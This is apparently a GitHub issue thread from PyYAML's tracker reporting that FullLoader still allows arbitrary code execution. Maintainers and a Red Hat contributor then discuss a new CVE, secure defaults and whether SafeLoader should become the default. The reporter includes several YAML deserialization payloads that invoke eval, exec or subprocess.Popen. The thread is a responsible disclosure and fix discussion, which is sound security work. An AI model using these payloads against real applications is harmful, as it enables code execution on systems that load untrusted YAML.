.load() and FullLoader still vulnerable to fairly trivial RCE #420

Closed

arxenix opened on Jul 22, 2020 · edited by arxenix Edits •••

As of 5.3.1 .load() defaults to using FullLoader and FullLoader is still vulnerable to RCE when run on untrusted input. As demonstrated by the examples below, #386 was not enough to fix this issue.

Some example payloads:

```
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - [ "RCE_HERE" ]
```

```
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "RCE_HERE"
```

```
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "RCE_HERE"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
```

I do not believe this is entirely fixable unless PyYAML decides to use secure defaults, and make .load() equivalent to .safe_load() (#5)

FullLoader should probably be removed, as I don't see the purpose of it.

11 5

ret2libc on Jul 23, 2020 Contributor

Is a CVE going to be assigned for this? Also, to "avoid" these kind of problems in the future (and dealing with CVEs and stuff) I think it should be made clear that FullLoader is not safe. Because as it is right now, a user may think it is a good alternative to safe_load while it is not.

arxenix on Jul 23, 2020 · edited by arxenix Edits Author

I have not filed for a new CVE, but I contacted RedHat to see if the previous one (CVE-2020-1747) could be updated (I don't know if this is standard protocol here or not)

+1 on making it very clear that FullLoader is not safe. As of right now, I believe the only mention of FullLoader is in the page https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation , which claims that it `Avoids arbitrary code execution.`

😄 1

ret2libc on Jul 23, 2020 Contributor

> I have not filed for a new CVE, but I contacted RedHat to see if the previous one (CVE-2020-1747) could be updated (I don't know if this is standard protocol here or not)

No, that is not possible. This should get a new CVE, with a wording like "Incomplete fix for CVE-2020-1747 still allows to execute arbitrary code through FullLoader", or something like that.

3

ret2libc on Jul 24, 2020 Contributor

@ingydotnet **@perlpunk** **@arxenix** Did any of you already requested a CVE (except to Red Hat)? If not, Red Hat can assign the CVE for this.

Also, **@ingydotnet** what do you intend to do with regard to documenting the unsafe behaviour of FullLoader?

perlpunk on Jul 24, 2020 Member

My personal preference would still be to make SafeLoader the default.
FullLoader is probably not that useful anymore anyway, especially if `python/name` also gets moved to UnsafeLoader.

4

arxenix on Jul 24, 2020 Author

@ret2libc I sent a request for a new CVE ID to RedHat already

ingydotnet on Jul 25, 2020 Member

I was considering pulling `tag:yaml.org,2002:python/name:` from FullLoader construction.
@**perlpunk** why do you feel that leaves FullLoader irrelevant?

ret2libc on Jul 25, 2020 Contributor

> @**ret2libc** I sent a request for a new CVE ID to RedHat already

I know, I am from Red Hat. I just want to make sure none else has already requested the CVE to someone else. @**ingydotnet** @**perlpunk** did you? Otherwise, I'm going to assign the CVE from the Red Hat pool.

1

perlpunk on Jul 25, 2020 Member

@**ret2libc** no, I did not request one.

ingydotnet on Jul 25, 2020 Member

@**ret2libc** no.

ingydotnet on Jul 25, 2020 Member

@**arxenix** I'd like to see a FullLoader vulnerabilty that doesn't use `tag:yaml.org,2002:python/name:...`.
An easy fix is remove that constructor.
@**ret2libc** a release with that fix should not require a doc update.

ingydotnet on Jul 25, 2020 · edited by ingydotnet Edits Member

@**perlpunk** I don't see defaulting to SafeLoader as an option. We have no idea how much code that would break.

...

@**everyoneelse**,

Let's step back a sec and look at the problem we are trying to solve.
In my opinion "there was no problem" to begin with.

PyYAML was loud and clear in its doc from the first release that PyYAML (a serialization module) had the same vulnerability landscape as Pickle. ie It is not safe to load data from a source you cannot trust. Bad things could happen.

- Don't compile and run C code from a web page's textarea.
- Don't run Python code from there either.
- Don't load a Pickle file you found on the street.
- Don't do that with YAML either.

Somewhat ironically, we are encouraged and don't bat an eye about running `setup.py` or `Makefile.PL` or `Rakefile` files to install Python, Perl and Ruby modules. We trust that files pushed to PyPI or committed to GitHub are safe enough.

Who are we trying to protect? This is a literal question. I would like to see the actual applications that are affected. Show me the people that are asking for untraceable YAML from unknown sources and loading it for them with PyYAML.

This "became my problem" when a CVE was filed against PyYAML for something that was effectively "people can get hurt when they use your dining utensils, and don't read the instructions and use it to eat things from a dumpster". Not that I cared about the CVE, since I felt exactly the same as I do now, but the CVE triggered all kinds of production systems. I was forced to take an action that was unnecessary. I never knew who filed the CVE or how to respond to them. I never got a confirmation that the original CVE was closed.

I tried to find a middle ground with warnings to read the docs, be explicit in your code, and provide a safer default.

I agree that the FullLoader safety is proving to be not that useful.

I'm currently leaning towards making FullLoader an alias for UnsafeLoader, keeping that as the default, documenting it, and calling it a day.

13 1

arxenix on Jul 25, 2020 Author •••

@ingydotnet it's still possible to get arbitrary code execution with only `!!python/object/new` , BTW

```
!!python/object/new:tuple [!!python/object/new:map [!!python/object/new:type
[!!python/object/new:subprocess.Popen {}], ['ls']]]
```

Ultimately, it's your choice what you decide to do with the library, but let me state my opinions.

I definitely have seen projects in the wild that are loading YAML via `yaml.load()` from untrusted sources. I can't disclose specific names but one example is a web portal that allowed users to upload YAML config files, and then loaded them. Given some time, I could probably find several on GitHub if you would like.

Developers tend to be lazy, no one *wants* to read the docs. This is why it's important to follow the principle of having secure defaults. It's important for a library to attempt to protect its users (even if they dont read :p)

Here's a quote from the ReactJS (popular facebook-made frontend library) documentation which explains their reasoning for their function `dangerouslySetInnerHTML`. I wholeheartedly agree with them.

> Improper use of the innerHTML can open you up to a cross-site scripting (XSS) attack. Sanitizing user input for display is notoriously error-prone, and failure to properly sanitize is one of the leading causes of web vulnerabilities on the internet.

> Our design philosophy is that it should be “easy” to make things safe, and developers should explicitly state their intent when performing “unsafe” operations. The prop name `dangerouslySetInnerHTML` is intentionally chosen to be frightening, and the prop value (an object instead of a string) can be used to indicate sanitized data.
>
> After fully understanding the security ramifications and properly sanitizing the data, create a new object containing only the key `__html` and your sanitized data as the value.

My observations are that the mental model that many developers have of YAML is that it's a simple data interchange format exactly like JSON. Not a complex serialization language. In the same way they don't expect `json.load()` to lead to code execution, they don't expect `yaml.load()` to lead to code execution.

I also believe that it is okay to break backwards compatibility in favor of security. How many people are really relying on PyYAML's ability to serialize complex objects? I don't have too much insight into this, but my thoughts are -- not many.

From some quick Github code search results that I did, there are ~762k files that use PyYAML. Of those, up to 529k files are currently using the default FullLoader as the loading mechanism, which is vulnerable to arbitrary code execution. 220k call safe_load or specify SafeLoader, and only 13k explicitly use unsafe_load or specify UnsafeLoader.

16 ❤ 2

perlpunk on Jul 25, 2020 Member •••

I'm not a python expert, but I think that FullLoader in its current state already prevents (de)serializing most objects as they are dumped with `python/object/apply` (please correct me if I am wrong). So it might be that a lot of code already had to be modified for PyYAML >= 5 to use UnsafeLoader.

Regarding the default: The problem I see is that most use cases for YAML do not involve serializing objects. Many people simply do not expect the default `load` method to do full serialization, and many are not even aware that YAML was designed for allowing that. That's different from Pickle.

I think anything different from the default YAML Core Schema (or the basic 1.1 types) should be optional for any YAML implementation.

Yes, it is documented that PyYAML does this, and yes, changing it will break more things (additionally to code that already broke).
I'm just saying what I would expect, and how I would implement a YAML library. Saying "it's documented that it's unsafe" is often not enough.

3

140 remaining items

Load more

alee-dependabot-alert-reader mentioned this in 15 issues on Sep 5, 2025

Security vulnerability detected: pyyaml arthurthlee/testing#132

Security vulnerability detected: pyyaml arthurthlee/testing#134

Security vulnerability detected: pyyaml arthurthlee/testing#135

Security vulnerability detected: pyyaml arthurthlee/testing#136

Security vulnerability detected: pyyaml arthurthlee/testing#137

Security vulnerability detected: pyyaml arthurthlee/testing#138

Security vulnerability detected: pyyaml arthurthlee/testing#139

Security vulnerability detected: pyyaml arthurthlee/testing#140

Security vulnerability detected: pyyaml arthurthlee/testing#141

Security vulnerability detected: pyyaml arthurthlee/testing#142

Security vulnerability detected: pyyaml arthurthlee/testing#144

Security vulnerability detected: pyyaml arthurthlee/testing#145

Security vulnerability detected: pyyaml arthurthlee/testing#146

Security vulnerability detected: pyyaml arthurthlee/testing#147

Security vulnerability detected: pyyaml arthurthlee/testing#149

Assignees

No one assigned

Labels

No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants


+7